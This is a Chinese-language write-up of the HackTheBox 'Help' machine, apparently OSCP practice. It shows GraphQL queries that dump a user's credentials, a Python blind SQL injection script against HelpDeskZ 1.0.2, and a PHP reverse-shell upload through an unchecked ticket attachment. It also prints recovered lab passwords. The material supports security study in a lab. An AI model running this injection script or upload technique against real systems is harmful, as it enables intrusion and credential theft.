OSCP-Help
Help
来源:HackTheBox
难度:Medium
nmap -O -A -Pn -sV -sS -p- 10.10.10.121
发现目标开放了80,22,3000端口,并运行着一些服务:
常规思路对80端口进行目录扫描,发现/support/目录跑着一个HelpDeskZ的服务,递归扫描该目录发现readme.html文件,查看得到版本为1.0.2,searchsploit发现有两个漏洞,一个未授权文件上传,一个登陆后SQL,访问页面发现提交工单处有文件上传,此时我们已经有三个思路,逐个测试发现未授权文件上传不可行,剩下两个方法均可以,这里分别说明
登陆后SQL
既然需要登陆后SQL,首要目标就是要登录,我们要如何获取这个登陆账号呢,此时3000端口上运行的服务就显得很可疑了,访问显示如下内容:
尝试结合nmap结果,搜索如下关键词Express js query language
找到相关内容(wp是这样写的,能找到graphql,但我不行,注意搜索内容是尽量使用国外环境,因为题目更加面向国外),知道用的语言是graphql,访问/graphql目录显示query参数缺失:
尝试使用常见值如user password等作为参数内容,使用graphql语句查询(形如{user}
,{user{password}}
这样神似json的格式):
curl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}" | jq
# 相当于请求了:http://10.10.10.121:3000/graphql?query=%7Buser%7D
# url编码了"query={user}"
提示需要user的subfields:
用形如{user{password}}
的语句查询:
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username} }' | jq
# 返回了用户名,继续查密码
curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username,password} }' | jq
成功查出密码:
得到账号密码:helpme@helpme.com:godhelpmeplz
随后我们登录进去,并尝试登陆后的SQL注入漏洞,searchsploit给出的脚本不能使用,但可以根据其指引内容中的手注语句写出新的脚本,注入需要的库名表名可以在其github上找到:
# python2
from requests import get
import string
cookies = {'lang': 'english',
'PHPSESSID': 'se3q2q1vtvmb71acq5i16ajtf1',
'usrhash':'0Nwx5jIdx+P2QcbUIv9qck4Tk2feEu8Z0J7rPe0d70BtNMpqfrbvecJupGimitjg3JjP1UzkqYH6QdYSl1tVZNcjd4B7yFeh6KDrQQ/iYFsjV6wVnLIF%2FaNh6SC24eT5OqECJlQEv7G47Kd65yVLoZ06smnKha9AGF4yL2Ylo%2BHDu89nyBt7elyC8vIIYgpCcpqa%2BUhLVh9kcZWIcDfKPw=='}
url = 'http://10.10.10.121/support/?v='
chars = list(string.ascii_lowercase) + list(string.digits)
password = []
k = 1
while k <= 40:
for i in chars:
payload = url+"view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]= 6 and substr((select password from staff limit 0,1),{},1) = '{}'---".format(k,i)
resp = get(payload, cookies=cookies)
if '404' not in resp.content:
password.append(i)
print 'Password: ' + ''.join(password)
k = k + 1
break
根据实际情况修改请求头cookie,运行得到账号密码:help:Welcome1
可通过此密码登录上ssh
实操过程中发现始终无法复现脚本这一步,不清楚是什么问题
补充:傻了 忘记可以上sqlmap了 但oscp也不可以用sqlmap
工单处文件上传
在工单处发现一个文件上传,上传测试发现不知道返回地址,但是对上传文件没有做任何校验,github上有源代码,可以审计一下:
可知其上传的路径形如/support/something/tickets
,又因为github项目中有uploads文件夹,所以猜测是路径为/support/uploads/tickets/something.php
,随后我们上传一个php_reverse_shell并且按照代码逻辑(md5(文件名+时间戳))搞出重命名后的名称,访问即可获得一个反弹shell
提权
非常简单,内核漏洞直接拿下,没有难度